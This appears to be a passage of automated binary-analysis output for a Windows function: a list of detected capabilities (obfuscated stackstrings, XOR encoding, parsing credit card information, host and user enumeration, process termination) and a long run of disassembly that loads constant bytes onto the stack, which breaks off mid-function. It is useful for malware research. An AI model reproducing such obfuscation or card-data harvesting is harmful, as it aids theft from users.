Function at 0x1400528b0
Capabilities:
Accept command line arguments
Authenticate hmac
Clear file content
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Enumerate disk volumes
Get common file path
Get disk information
Get disk size
Get file size
Get geographical location
Get session user name
Get thread local storage value
Identify system language via api
Manipulate console buffer
Move file
Parse credit card information
Parse pe header
Query environment variable
Set environment variable
Set thread local storage value
Suspend thread
Terminate process
Terminate thread
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x14fb8
call fcn.140163220
sub rsp, rax
mov dword [rsp + 0x1940], 0x76bb8ee4
mov dword [rsp + 0x1944], 0x75ad8f55
mov dword [rsp + 0x1948], 0xb15482cf
movabs rax, 0x9e53068978b91424
mov qword [rsp + 0x3108], rax
movabs rax, 0x142f9be6674be130
mov qword [rsp + 0x3110], rax
mov eax, 0x4bc
mov word [rsp + 0x554], ax
mov byte [rsp + 0x50], 0xa8
mov dword [rsp + 0x194c], 0x93e30099
mov byte [rsp + 0x51], 0x77
movabs rax, 0x75c40322004be735
mov qword [rsp + 0x3118], rax
mov eax, 0x4245
mov word [rsp + 0x558], ax
mov eax, 0xc16
mov word [rsp + 0x55c], ax
mov eax, 0x1b7
mov word [rsp + 0x560], ax
mov byte [rsp + 0x52], 0xe4
mov dword [rsp + 0x1950], 0x2073fe5
mov dword [rsp + 0x1954], 0x5249f9b6
movabs rax, 0x8d9a7defc4f57cb0
mov qword [rsp + 0x3120], rax
movabs rax, 0x536bf4e9b8d1b25c
mov qword [rsp + 0x3128], rax
mov dword [rsp + 0x1958], 0x2b556a3d
movabs rax, 0x5fb441f3f5e76a7c
mov qword [rsp + 0x3130], rax
movabs rax, 0x7276b1921bad1466
mov qword [rsp + 0x3138], rax
mov eax, 0x112
mov word [rsp + 0x564], ax
mov dword [rsp + 0x195c], 0x24fdcbc8
movabs rax, 0x73ff93f09618d2d7
mov qword [rsp + 0x3140], rax
mov byte [rsp + 0x53], 0x4a
mov dword [rsp + 0x1960], 0x81c71552
mov byte [rsp + 0x54], 0x48
mov eax, 0x7d6d
mov word [rsp + 0x568], ax
mov byte [rsp + 0x55], 0x92
mov eax, 0x5eb6
mov word [rsp + 0x56c], ax
mov dword [rsp + 0x1964], 0x1e2d0aff
mov eax, 0x294
mov word [rsp + 0x570], ax
mov eax, 0x3bc
mov word [rsp + 0x574], ax
mov eax, 0x1ccd
mov word [rsp + 0x578], ax
movabs rax, 0xd33bee7b2fedc4f1
mov qword [rsp + 0x3148], rax
mov eax, 0x575c
mov word [rsp + 0x57c], ax
mov dword [rsp + 0x1968], 0x65f667c1
mov dword [rsp + 0x196c], 0x5f6d0499
mov byte [rsp + 0x56], 0x4a
mov byte [rsp + 0x57], 0x4a
mov dword [rsp + 0x1970], 0x2e1cb08e
mov byte [rsp + 0x58], 0x47
movabs rax, 0x6163210aea9a01ed
mov qword [rsp + 0x3150], rax
movabs rax, 0x472c5a642c713f65
mov qword [rsp + 0x3158], rax
mov byte [rsp + 0x59], 0xeb
mov eax, 0x1e3
mov word [rsp + 0x580], ax
mov dword [rsp + 0x1974], 0x9e71082c
mov byte [rsp + 0x5a], 7
movabs rax, 0xd548147f35b1cd4
mov qword [rsp + 0x3160], rax
mov byte [rsp + 0x5b], 0xbe
mov byte [rsp + 0x5c], 0xbd
mov eax, 0x64a
mov word [rsp + 0x584], ax
mov eax, 0x4ce
mov word [rsp + 0x588], ax
mov eax, 0x3c
mov word [rsp + 0x58c], ax
mov eax, 0x152e
mov word [rsp + 0x590], ax
movabs rax, 0x234f323cd98197a6
mov qword [rsp + 0x3168], rax
mov eax, 0xe96
mov word [rsp + 0x594], ax
mov eax, 0xc9a
mov word [rsp + 0x598], ax
mov eax, 0xd1b
mov word [rsp + 0x59c], ax
mov byte [rsp + 0x5d], 0x86
movabs rax, 0x655db2ed0bd9ef16
mov qword [rsp + 0x3170], rax
mov dword [rsp + 0x1978], 0x75c75993
mov byte [rsp + 0x5e], 0xcc
mov eax, 0x167
mov word [rsp + 0x5a0], ax
mov dword [rsp + 0x197c], 0x746de8ee
mov dword [rsp + 0x1980], 0x23c4eecb
mov dword [rsp + 0x1984], 0xa3c82cb8
movabs rax, 0x337ab81fe5dfc556
mov qword [rsp + 0x3178], rax
mov eax, 0x38b
mov word [rsp + 0x5a4], ax
movabs rax, 0x1c63b3aeffc93488
mov qword [rsp + 0x3180], rax
mov byte [rsp + 0x5f], 0x99
mov dword [rsp + 0x1988], 0x60f6fac0
mov dword [rsp + 0x198c], 0x73bb5e0
mov dword [rsp + 0x1990], 0x7f3bfeee
movabs rax, 0x6ce9389f20dd27d5
mov qword [rsp + 0x3188], rax
mov eax, 0x7d76
mov word [rsp + 0x5a8], ax
mov dword [rsp + 0x1994], 0x21076001
mov dword [rsp + 0x1998], 0xd9116647
movabs rax, 0x11b2fc57c0042ca1
mov qword [rsp + 0x3190], rax
mov eax, 0x803
mov word [rsp + 0x5ac], ax
movabs rax, 0x40057001edf07ecc
mov qword [rsp + 0x3198], rax
movabs rax, 0x6ecdd30c5e9dd9eb
mov qword [rsp + 0x31a0], rax
movabs rax, 0xf0e984656c4fe6e2
mov qword [rsp + 0x31a8], rax
movabs rax, 0xb9b5f1442065a72c
mov qword [rsp + 0x31b0], rax
mov eax, 0x71bf
mov word [rsp + 0x5b0], ax
movabs rax, 0x52318faca7663aea
mov qword [rsp + 0x31b8], rax
movabs rax, 0x705f7db2dc7a4dff
mov qword [rsp + 0x31c0], rax
mov eax, 0x1c77
mov word [rsp + 0x5b4], ax
movabs rax, 0x31fb5685dbcd38fd
mov qword [rsp + 0x31c8], rax
movabs rax, 0x85bf5f842ac7096f
mov qword [rsp + 0x31d0], rax
mov eax, 0x380a
mov word [rsp + 0x5b8], ax
movabs rax, 0x79765d4b36b876d0
mov qword [rsp + 0x31d8], rax
mov eax, 0x171
mov word [rsp + 0x5bc], ax
mov dword [rsp + 0x199c], 0x22de7907
movabs rax, 0x97928da2750a94b
mov qword [rsp + 0x31e0], rax
movabs rax, 0xaec149339ce80fdc
mov qword [rsp + 0x31e8], rax
mov dword [rsp + 0x19a0], 0x498e8ee2
movabs rax, 0x70ea2c2d53328716
mov qword [rsp + 0x31f0], rax
movabs rax, 0xffc3845c671cf731
mov qword [rsp + 0x31f8], rax
movabs rax, 0x13e0e29745f475fb
mov qword [rsp + 0x3200], rax
movabs rax, 0x6343d94a7b85ddb4
mov qword [rsp + 0x3208], rax
mov eax, 0xcee
mov word [rsp + 0x5c0], ax
mov byte [rsp + 0x60], 0x76
mov eax, 0xe7d
mov word [rsp + 0x5c4], ax
mov eax, 0x6382
mov word [rsp + 0x5c8], ax
mov eax, 0x283b
mov word [rsp + 0x5cc], ax
mov dword [rsp + 0x19a4], 0x265647da
movabs rax, 0x4cc50621b6950c65
mov qword [rsp + 0x3210], rax
mov dword [rsp + 0x19a8], 0x671aa733
mov byte [rsp + 0x61], 0x2b
mov dword [rsp + 0x19ac], 0x37b606f0
mov dword [rsp + 0x19b0], 0x82a2ec6
mov eax, 0xa3d
mov word [rsp + 0x5d0], ax
mov byte [rsp + 0x62], 0x3d
mov eax, 0x521c
mov word [rsp + 0x5d4], ax
mov eax, 0xa02
mov word [rsp + 0x5d8], ax
movabs rax, 0x56075a5f7fb1e5f9
mov qword [rsp + 0x3218], rax
movabs rax, 0xecca8fb3cc5fcdc9
mov qword [rsp + 0x3220], rax
movabs rax, 0xe4272a0cabf1e430
mov qword [rsp + 0x3228], rax
movabs rax, 0x27697221c07e1338
mov qword [rsp + 0x3230], rax
mov dword [rsp + 0x19b4], 0x2eeed2dd
mov byte [rsp + 0x63], 0x66
mov dword [rsp + 0x19b8], 0x19548d9f
movabs rax, 0x12c4f08f242dfb22
mov qword [rsp + 0x3238], rax
mov byte [rsp + 0x64], 0x12
mov dword [rsp + 0x19bc], 0x4f6b887d
mov eax, 0xca8
mov word [rsp + 0x5dc], ax
mov dword [rsp + 0x19c0], 0x557034cb
mov eax, 0x1173
mov word [rsp + 0x5e0], ax
mov eax, 0x5d3
mov word [rsp + 0x5e4], ax
movabs rax, 0x4c42c4a0139b7400
mov qword [rsp + 0x3240], rax
mov byte [rsp + 0x65], 0x3f
mov eax, 0x47a0
mov word [rsp + 0x5e8], ax
mov eax, 0x637
mov word [rsp + 0x5ec], ax
movabs rax, 0x356610cee69f60d1
mov qword [rsp + 0x3248], rax
mov eax, 0x83c
mov word [rsp + 0x5f0], ax
movabs rax, 0x30f220470d7e8f84
mov qword [rsp + 0x3250], rax
mov eax, 0x78c3
mov word [rsp + 0x5f4], ax
mov byte [rsp + 0x66], 0xfe
mov dword [rsp + 0x19c4], 0xfce64557
mov byte [rsp + 0x67], 0x75
mov byte [rsp + 0x68], 0x18
mov eax, 0xa4
mov word [rsp + 0x5f8], ax
mov eax, 0x3746
mov word [rsp + 0x5fc], ax
mov dword [rsp + 0x19c8], 0xa86d9716
mov dword [rsp + 0x19cc], 0x307e4a53
mov dword [rsp + 0x19d0], 0x25397e1
mov eax, 0x4e2
mov word [rsp + 0x600], ax
mov dword [rsp + 0x19d4], 0x6ecaa4f9
mov dword [rsp + 0x19d8], 0x49a93dbf
movabs rax, 0x181537edadf18672
mov qword [rsp + 0x3258], rax
mov dword [rsp + 0x19dc], 0x22ec1fde
movabs rax, 0x597bc95b3f1e82ca
mov qword [rsp + 0x3260], rax
movabs rax, 0x50e3dae8df4138fa
mov qword [rsp + 0x3268], rax
mov dword [rsp + 0x19e0], 0x9674ae27
mov dword [rsp + 0x19e4], 0x5f2806f1
movabs rax, 0x15b49214264fc8d7
mov qword [rsp + 0x3270], rax
mov eax, 0x5312
mov word [rsp + 0x604], ax
mov byte [rsp + 0x69], 0x7d
movabs rax, 0x45e1af9a295e7523
mov qword [rsp + 0x3278], rax
movabs rax, 0x7dc5c67a3956e1ed
mov qword [rsp + 0x3280], rax
mov dword [rsp + 0x19e8], 0x9930de78
mov byte [rsp + 0x6a], 0x6f
mov byte [rsp + 0x6b], 0x53
mov eax, 0x7087
mov word [rsp + 0x608], ax
mov byte [rsp + 0x6c], 0x30
mov byte [rsp + 0x6d], 0x81
mov byte [rsp + 0x6e], 0x6f
mov eax, reloc.COMCTL32.dll_LBItemFromPt
mov word [rsp + 0x60c], ax
mov byte [rsp + 0x6f], DrawInsert
movabs rax, 0x16a5695257aa6e40
mov qword [rsp + 0x3288], rax
mov eax, 0x5462
mov word [rsp + 0x610], ax
movabs rax, 0xbc2e0e6124a5dd51
mov qword [rsp + 0x3290], rax
mov byte [rsp + 0x70], 0xf7
movabs rax, 0xaf247b018ef8a33
mov qword [rsp + 0x3298], rax
mov eax, 0x64cd
mov word [rsp + 0x614], ax
mov byte [rsp + 0x71], 0x9c
mov dword [rsp + 0x19ec], 0x164f7f36
mov dword [rsp + 0x19f0], 0x51ffa4b8
movabs rax, 0xd1a543379314f5f8
mov qword [rsp + 0x32a0], rax
mov eax, 0x5d33
mov word [rsp + 0x618], ax
mov byte [rsp + 0x72], 0x98
mov byte [rsp + 0x73], 0x92
mov dword [rsp + 0x19f4], 0x27964fc7
movabs rax, 0xa2a5d13de440346f
mov qword [rsp + 0x32a8], rax
mov eax, 0xdc8
mov word [rsp + 0x61c], ax
mov dword [rsp + 0x19f8], 0x9c37b6ad
mov byte [rsp + 0x74], 0xb7
mov eax, 0x3022
mov word [rsp + 0x620], ax
mov dword [rsp + 0x19fc], 0xaa2b73f9
mov eax, 0x3c58
mov word [rsp + 0x624], ax
mov byte [rsp + 0x75], 0xdb
mov byte [rsp + 0x76], 0x3d
mov byte [rsp + 0x77], 0xbe
mov eax, 0x4faf
mov word [rsp + 0x628], ax
mov byte [rsp + 0x78], 0xd7
mov byte [rsp + 0x79], 0x6f
mov dword [rsp + 0x1a00], 0x759a5562
mov byte [rsp + 0x7a], 0x2f
mov byte [rsp + 0x7b], 0x4d
mov byte [rsp + 0x7c], 0x6f
mov byte [rsp + 0x7d], 0
mov byte [rsp + 0x7e], 6
movabs rax, 0x4341da97ff58fabc
mov qword [rsp + 0x32b0], rax
mov dword [rsp + 0x1a04], 0xf8201fa0
mov byte [rsp + 0x7f], 0xea
mov byte [rsp + 0x80], 0x47
mov byte [rsp + 0x81], 0x61
mov eax, 0x352
mov word [rsp + 0x62c], ax
mov byte [rsp + 0x82], 0x3e
mov dword [rsp + 0x1a08], 0x394a34d8
mov byte [rsp + 0x83], 0x42
mov dword [rsp + 0x1a0c], 0x5131e518
mov byte [rsp + 0x84], 0xa3
mov eax, 0x6048
mov word [rsp + 0x630], ax
mov dword [rsp + 0x1a10], 0xbf4400c8
mov eax, 0x274b
mov word [rsp + 0x634], ax
movabs rax, 0x35cb188c467770d5
mov qword [rsp + 0x32b8], rax
movabs rax, 0x51855246be149c94
mov qword [rsp + 0x32c0], rax
movabs rax, 0x1de947fd2ae85714
mov qword [rsp + 0x32c8], rax
mov dword [rsp + 0x1a14], 0xf31b919
movabs rax, 0x693bdf5f3b20d9b2
mov qword [rsp + 0x32d0], rax
mov eax, 0x3282
mov word [rsp + 0x638], ax
movabs rax, 0x6698707b8b6c60b9
mov qword [rsp + 0x32d8], rax
mov byte [rsp + 0x85], 0x56
mov eax, 0x4c96
mov word [rsp + 0x63c], ax
movabs rax, 0x70e94a262955ef07
mov qword [rsp + 0x32e0], rax
mov dword [rsp + 0x1a18], 0x96202420
mov byte [rsp + 0x86], reloc.COMCTL32.dll_MakeDragList
mov eax, 0x477a
mov word [rsp + 0x640], ax
movabs rax, 0x66b580d633c55a61
mov qword [rsp + 0x32e8], rax
mov dword [rsp + 0x1a1c], 0x493de5bb
mov eax, 0x41b
mov word [rsp + 0x644], ax
mov eax, 0x485
mov word [rsp + 0x648], ax
mov dword [rsp + 0x1a20], 0x611643ae
mov eax, 0xa80
mov word [rsp + 0x64c], ax
movabs rax, 0x527fc817500647d6
mov qword [rsp + 0x32f0], rax
mov byte [rsp + 0x87], 0x9c
mov dword [rsp + 0x1a24], 0x59616a48
mov dword [rsp + 0x1a28], 0x35c259bb
mov eax, 0x4a8b
mov word [rsp + 0x650], ax
mov eax, 0x74e8
mov word [rsp + 0x654], ax
movabs rax, 0x2e35ddb73d63ac6c
mov qword [rsp + 0x32f8], rax
mov eax, 0x704
mov word [rsp + 0x658], ax
mov eax, 0x90d
mov word [rsp + 0x65c], ax
movabs rax, 0x614d65d3e7bc3d2b
mov qword [rsp + 0x3300], rax
mov byte [rsp + 0x88], 0x6c
mov dword [rsp + 0x1a2c], 0x4bf402d7
movabs rax, 0x7dc13da22cf8dd8b
mov qword [rsp + 0x3308], rax
mov dword [rsp + 0x1a30], 0x3e712253
mov eax, 0x228e
mov word [rsp + 0x660], ax
mov dword [rsp + 0x1a34], 0x3a1de408
mov dword [rsp + 0x1a38], 0x4f2ad5e1
movabs rax, 0xd8b85733fb189af6
mov qword [rsp + 0x3310], rax
mov dword [rsp + 0x1a3c], 0x7946fbcf
mov eax, 0xcc8
mov word [rsp + 0x664], ax
mov eax, 0xd3e
mov word [rsp + 0x668], ax
mov dword [rsp + 0x1a40], 0x762f5468
movabs rax, 0x27bd16ce2e4b9a97
mov qword [rsp + 0x3318], rax
mov dword [rsp + 0x1a44], 0x2e467953
movabs rax, 0x4258fe60e4cb80b7
mov qword [rsp + 0x3320], rax
mov dword [rsp + 0x1a48], 0x49e7e558
mov byte [rsp + 0x89], 0x52
mov dword [rsp + 0x1a4c], 0x7ca47fcc
movabs rax, 0x79d03d4698b5a818
mov qword [rsp + 0x3328], rax
mov byte [rsp + 0x8a], 0x5f
mov byte [rsp + 0x8b], 0x8d
mov dword [rsp + 0x1a50], 0xc82bdfc3
mov byte [rsp + 0x8c], 0x58
mov eax, 0x17a6
mov word [rsp + 0x66c], ax
mov dword [rsp + 0x1a54], 0xcc67a274
mov byte [rsp + 0x8d], 7
mov eax, 0x67
mov word [rsp + 0x670], ax
mov dword [rsp + 0x1a58], 0x3e8de130
mov byte [rsp + 0x8e], 0x95
mov eax, 0x7f38
mov word [rsp + 0x674], ax
mov eax, 0x4ac9
mov word [rsp + 0x678], ax
mov eax, 0x38b
mov word [rsp + 0x67c], ax
mov dword [rsp + 0x1a5c], 0x9914fe5d
mov eax, 0x914
mov word [rsp + 0x680], ax
mov eax, 0x976
mov word [rsp + 0x684], ax
mov eax, 0xa14
mov word [rsp + 0x688], ax
mov eax, 0x785
mov word [rsp + 0x68c], ax
mov eax, 0xd9b
mov word [rsp + 0x690], ax
mov byte [rsp + 0x8f], 0x3b
mov eax, 0x24eb
mov word [rsp + 0x694], ax
mov byte [rsp + 0x90], 0x31
mov eax, 0x74f8
mov word [rsp + 0x698], ax
movabs rax, 0xb5030269c45b9c90
mov qword [rsp + 0x3330], rax
mov byte [rsp + 0x91], 0x30
mov byte [rsp + 0x92], 0x62
mov eax, 0x50c4
mov word [rsp + 0x69c], ax
mov dword [rsp + 0x1a60], 0xd0d0383
mov byte [rsp + 0x93], 0xc2
mov eax, 0x3832
mov word [rsp + 0x6a0], ax
mov byte [rsp + 0x94], 0x50
movabs rax, 0xfb09f73a18056581
mov qword [rsp + 0x3338], rax
mov dword [rsp + 0x1a64], 0x111ea232
movabs rax, 0x5e3d6a7d86490f69
mov qword [rsp + 0x3340], rax
mov dword [rsp + 0x1a68], 0xc8b4e7e2
mov byte [rsp + 0x95], 0xed
mov dword [rsp + 0x1a6c], 0xb897b7d3
mov byte [rsp + 0x96], 0xbe
mov byte [rsp + 0x97], 0x26
mov dword [rsp + 0x1a70], 0x9924050
mov eax, 0xc1c
mov word [rsp + 0x6a4], ax
mov dword [rsp + 0x1a74], 0x8f13ba67
mov byte [rsp + 0x98], 0x2a
mov eax, 0x46f1
mov word [rsp + 0x6a8], ax
mov eax, 0x7793
mov word [rsp + 0x6ac], ax
mov eax, 0x18c
mov word [rsp + 0x6b0], ax
mov byte [rsp + 0x99], 0x55
movabs rax, 0x71c063be6a3421ae
mov qword [rsp + 0x3348], rax
mov dword [rsp + 0x1a78], 0x4ed65f9d
mov byte [rsp + 0x9a], 0x55
mov dword [rsp + 0x1a7c], 0x21608fd1
mov dword [rsp + 0x1a80], 0x3a3c6e28
mov byte [rsp + 0x9b], 0x36
mov dword [rsp + 0x1a84], 0x1af97a0b
movabs rax, 0x1dd38dc2074baf54
mov qword [rsp + 0x3350], rax
mov dword [rsp + 0x1a88], 0x3ec236bb
mov eax, 0xfa7
mov word [rsp + 0x6b4], ax
movabs rax, 0x2e75d3999ff935d3
mov qword [rsp + 0x3358], rax
mov byte [rsp + 0x9c], 0x54
mov dword [rsp + 0x1a8c], 0x398fc681
mov byte [rsp + 0x9d], 0x55
mov byte [rsp + 0x9e], 0x63
mov byte [rsp + 0x9f], 0x8e
movabs rax, 0x7f36d27629085c17
mov qword [rsp + 0x3360], rax
mov byte [rsp + 0xa0], 0x2c
movabs rax, 0x44a38f11fcebb769
mov qword [rsp + 0x3368], rax
mov eax, 0x7e93
mov word [rsp + 0x6b8], ax
movabs rax, 0x711cbe3245785d05
mov qword [rsp + 0x3370], rax
mov byte [rsp + 0xa1], 0x9c
movabs rax, 0x5c9771c66e78487
mov qword [rsp + 0x3378], rax
mov dword [rsp + 0x1a90], 0x114ea0fd
mov byte [rsp + 0xa2], 0x23
mov dword [rsp + 0x1a94], 0xe4cc345a
mov eax, 0x518
mov word [rsp + 0x6bc], ax
mov byte [rsp + 0xa3], 0x22
mov byte [rsp + 0xa4], 0xa4
mov dword [rsp + 0x1a98], 0x54202a92
mov byte [rsp + 0xa5], 0x78
mov eax, 0x87e
mov word [rsp + 0x6c0], ax
mov byte [rsp + 0xa6], 0x2e
mov eax, 0x6519
mov word [rsp + 0x6c4], ax
mov dword [rsp + 0x1a9c], 0x32a8e9f8
mov eax, 0x203
mov word [rsp + 0x6c8], ax
mov eax, 0x78ff
mov word [rsp + 0x6cc], ax
mov eax, 0x2f4c
mov word [rsp + 0x6d0], ax
mov eax, 0x39ce
mov word [rsp + 0x6d4], ax
mov byte [rsp + 0xa7], 0xd9
mov byte [rsp + 0xa8], 0xc4
mov dword [rsp + 0x1aa0], 0x9e8e53a0
mov byte [rsp + 0xa9], 0x63
mov dword [rsp + 0x1aa4], 0x1c624289
mov dword [rsp + 0x1aa8], 0xb86977e1
mov byte [rsp + 0xaa], 0x77
mov byte [rsp + 0xab], 0xe3
mov dword [rsp + 0x1aac], 0x7226da15
mov dword [rsp + 0x1ab0], 0x12ddacdd
mov dword [rsp + 0x1ab4], 0x1f278a8e
mov byte [rsp + 0xac], 2
mov eax, 0x2f8d
mov word [rsp + 0x6d8], ax
mov dword [rsp + 0x1ab8], 0xb9cd0f9a
mov eax, 0x75f4
mov word [rsp + 0x6dc], ax
mov dword [rsp + 0x1abc], 0x90379ed7
mov byte [rsp + 0xad], 0x52
mov eax, 0x2419
mov word [rsp + 0x6e0], ax
mov eax, 0x4da9
mov word [rsp + 0x6e4], ax
mov eax, 0x3597
mov word [rsp + 0x6e8], ax
mov eax, 0xd86
mov word [rsp + 0x6ec], ax
mov eax, 0xfb5
mov word [rsp + 0x6f0], ax
movabs rax, 0x5403f22bba566039
mov qword [rsp + 0x3380], rax
mov eax, 0x3448
mov word [rsp + 0x6f4], ax
mov dword [rsp + 0x1ac0], 0x6d5260eb
mov eax, 0x3658
mov word [rsp + 0x6f8], ax
movabs rax, 0x78e838d25fddea48
mov qword [rsp + 0x3388], rax
mov byte [rsp + 0xae], 0x1d
mov dword [rsp + 0x1ac4], 0x73c2444a
mov byte [rsp + 0xaf], 0x11
movabs rax, 0x47e8445bfb258f05
mov qword [rsp + 0x3390], rax
mov byte [rsp + 0xb0], 0xef
mov byte [rsp + 0xb1], 0x78
movabs rax, 0x38f2fcb1bb1993eb
mov qword [rsp + 0x3398], rax
mov eax, 0x7f77
mov word [rsp + 0x6fc], ax
mov byte [rsp + 0xb2], 0x22
mov eax, 0x3a35
mov word [rsp + 0x700], ax
movabs rax, 0x5fb6198ccd55b3c9
mov qword [rsp + 0x33a0], rax
movabs rax, 0xbe7e4d567be7f336
mov qword [rsp + 0x33a8], rax
movabs rax, 0xd2c854a58c635253
mov qword [rsp + 0x33b0], rax
mov dword [rsp + 0x1ac8], 0xea65ff98
mov byte [rsp + 0xb3], 0x38
mov eax, 0xf5a
mov word [rsp + 0x704], ax
mov byte [rsp + 0xb4], 0x9d
mov byte [rsp + 0xb5], 0x73
mov byte [rsp + 0xb6], 0x25
mov dword [rsp + 0x1acc], 0x70c5dd09
mov dword [rsp + 0x1ad0], 0x864887de
mov eax, 0x74ba
mov word [rsp + 0x708], ax
mov byte [rsp + 0xb7], 0x54
mov dword [rsp + 0x1ad4], 0x29996446
mov dword [rsp + 0x1ad8], 0x1a5f3fe6
mov eax, 0x5a6
mov word [rsp + 0x70c], ax
movabs rax, 0xcfc60942826d4282
mov qword [rsp + 0x33b8], rax
movabs rax, 0x74059c6091c1aebf
mov qword [rsp + 0x33c0], rax
mov eax, 0xb37
mov word [rsp + 0x710], ax
mov dword [rsp + 0x1adc], 0x29b57080
mov byte [rsp + 0xb8], 0x67
movabs rax, 0xe11b7cae7940465f
mov qword [rsp + 0x33c8], rax
mov byte [rsp + 0xb9], 0xf9
mov eax, 0x2aae
mov word [rsp + 0x714], ax
mov eax, 0x6067
mov word [rsp + 0x718], ax
mov byte [rsp + 0xba], 0x6e
mov byte [rsp + 0xbb], 0x4c
movabs rax, 0x37bd96512e230e9a
mov qword [rsp + 0x33d0], rax
movabs rax, 0x46de2b908b029b1e
mov qword [rsp + 0x33d8], rax
mov byte [rsp + 0xbc], 0x78
mov dword [rsp + 0x1ae0], 0xcd8d16
movabs rax, 0x8b6309287161731f
mov qword [rsp + 0x33e0], rax
mov eax, 0x68bd
mov word [rsp + 0x71c], ax
movabs rax, 0xa7bc21b0b09ae4bc
mov qword [rsp + 0x33e8], rax
mov byte [rsp + 0xbd], 8
mov dword [rsp + 0x1ae4], 0x2befa127
mov byte [rsp + 0xbe], 0x88
movabs rax, 0x7c62be156da6486c
mov qword [rsp + 0x33f0], rax
mov byte [rsp + 0xbf], 0x7c
mov byte [rsp + 0xc0], 0x37
mov byte [rsp + 0xc1], 0x11
mov eax, 0x6af4
mov word [rsp + 0x720], ax
movabs rax, 0x38a58f9e0ceec7ed
mov qword [rsp + 0x33f8], rax
mov eax, 0xb18
mov word [rsp + 0x724], ax
mov eax, 0x3055
mov word [rsp + 0x728], ax
movabs rax, 0x7c96ff93d0b16e78
mov qword [rsp + 0x3400], rax
mov byte [rsp + 0xc2], 0x11
mov dword [rsp + 0x1ae8], 0x77817908
mov byte [rsp + 0xc3], 0x56
mov dword [rsp + 0x1aec], 0x2a7abd1e
mov dword [rsp + 0x1af0], 0x4c87bcbc
mov eax, 0x1efa
mov word [rsp + 0x72c], ax
mov dword [rsp + 0x1af4], 0x228cfdc4
mov dword [rsp + 0x1af8], 0x3d405d02
mov eax, 0x93
mov word [rsp + 0x730], ax
mov byte [rsp + 0xc4], 0x73
mov eax, 0x5c5
mov word [rsp + 0x734], ax
mov byte [rsp + 0xc5], 0x3d
mov eax, 0x965
mov word [rsp + 0x738], ax
movabs rax, 0x5857a0bd4b14c4bc
mov qword [rsp + 0x3408], rax
mov eax, 0x7d30
mov word [rsp + 0x73c], ax
movabs rax, 0x375f49716d3e9148
mov qword [rsp + 0x3410], rax
movabs rax, 0xa99c6b406d70aa0a
mov qword [rsp + 0x3418], rax
mov dword [rsp + 0x1afc], 0xfb30c39c
mov byte [rsp + 0xc6], 0x4b
mov byte [rsp + 0xc7], 0x96
mov dword [rsp + 0x1b00], 0x44b851e0
movabs rax, 0xcac48ea0a0d34351
mov qword [rsp + 0x3420], rax
mov eax, 0x240a
mov word [rsp + 0x740], ax
mov dword [rsp + 0x1b04], 0x17640838
mov dword [rsp + 0x1b08], 0x1634d29f
mov dword [rsp + 0x1b0c], 0xb6753219
mov eax, 0x5d54
mov word [rsp + 0x744], ax
mov dword [rsp + 0x1b10], 0x8f3afc38
movabs rax, 0x33e9c391f3e8583d
mov qword [rsp + 0x3428], rax
movabs rax, 0xedf0916813a3c8a0
mov qword [rsp + 0x3430], rax
mov dword [rsp + 0x1b14], 0xb0eb93cc
mov byte [rsp + 0xc8], 3
mov byte [rsp + 0xc9], 0xee
mov byte [rsp + 0xca], 0xf1
mov dword [rsp + 0x1b18], 0xe927792d
mov byte [rsp + 0xcb], 0x40
movabs rax, 0xbefb43a4c6dca03f
mov qword [rsp + 0x3438], rax
mov eax, 0x3ed
mov word [rsp + 0x748], ax
mov eax, 0x2952
mov word [rsp + 0x74c], ax
movabs rax, 0x7e91ba87d454fed8
mov qword [rsp + 0x3440], rax
mov eax, 0x744
mov word [rsp + 0x750], ax
mov dword [rsp + 0x1b1c], 0x4e1a7b90
mov byte [rsp + 0xcc], 0x7b
mov dword [rsp + 0x1b20], 0x1c7dd876
mov dword [rsp + 0x1b24], 0xf484ef74
mov eax, 0x15a5
mov word [rsp + 0x754], ax
mov byte [rsp + 0xcd], 0x74
mov byte [rsp + 0xce], 0x4c
movabs rax, 0x89518e3765cc2e96
mov qword [rsp + 0x3448], rax
mov dword [rsp + 0x1b28], 0xea74a9b7
mov eax, 0xb3d
mov word [rsp + 0x758], ax
mov eax, 0x6b96
mov word [rsp + 0x75c], ax
movabs rax, 0x2b436c0f65f62d87
mov qword [rsp + 0x3450], rax
mov eax, 0xaf
mov word [rsp + 0x760], ax
mov byte [rsp + 0xcf], 0xc9
mov dword [rsp + 0x1b2c], 0x5c10633
mov byte [rsp + 0xd0], 0x4d
mov dword [rsp + 0x1b30], 0x256dd033
mov eax, 0x8c4
mov word [rsp + 0x764], ax
mov dword [rsp + 0x1b34], 0x7719aa6d
mov byte [rsp + 0xd1], 0x5b
mov eax, 0x5c74
mov word [rsp + 0x768], ax
movabs rax, 0x6061ed52809dff25
mov qword [rsp + 0x3458], rax
movabs rax, 0x67fc3bcb96f64b0f
mov qword [rsp + 0x3460], rax
mov dword [rsp + 0x1b38], 0x42b4ae3d
mov byte [rsp + 0xd2], 0x3e
mov dword [rsp + 0x1b3c], 0x81a8a10
mov dword [rsp + 0x1b40], 0x75655dc8
mov byte [rsp + 0xd3], 0x39
mov dword [rsp + 0x1b44], 0x4db36c8b
mov eax, 0x4e85
mov word [rsp + 0x76c], ax
movabs rax, 0x4024882b818a6df9
mov qword [rsp + 0x3468], rax
mov eax, 0xc4b
mov word [rsp + 0x770], ax
mov eax, 0x19f
mov word [rsp + 0x774], ax
mov dword [rsp + 0x1b48], 0x1b30509b
movabs rax, 0x16fb546865ad63
mov qword [rsp + 0x3470], rax
movabs rax, 0x71b53d2b5cb5ffdb
mov qword [rsp + 0x3478], rax
mov byte [rsp + 0xd4], 0x31
mov eax, 0x5a01
mov word [rsp + 0x778], ax
movabs rax, 0x98eea73dabcf8046
mov qword [rsp + 0x3480], rax
movabs rax, 0x7bb9a613e10f628a
mov qword [rsp + 0x3488], rax
mov dword [rsp + 0x1b4c], 0xe8461d7b
mov dword [rsp + 0x1b50], 0xbeb5bd8
mov byte [rsp + 0xd5], 0x40
mov dword [rsp + 0x1b54], 0x2b6b366f
mov eax, 0x6b96
mov word [rsp + 0x77c], ax
mov eax, 0x21ae
mov word [rsp + 0x780], ax
movabs rax, 0x490ceff7f591ee83
mov qword [rsp + 0x3490], rax
mov dword [rsp + 0x1b58], 0x1c3bd552
mov eax, 0x3651
mov word [rsp + 0x784], ax
movabs rax, 0x79dcb24fa4fea1ba
mov qword [rsp + 0x3498], rax
mov dword [rsp + 0x1b5c], 0x8d0884b6
mov byte [rsp + 0xd6], 0x6b
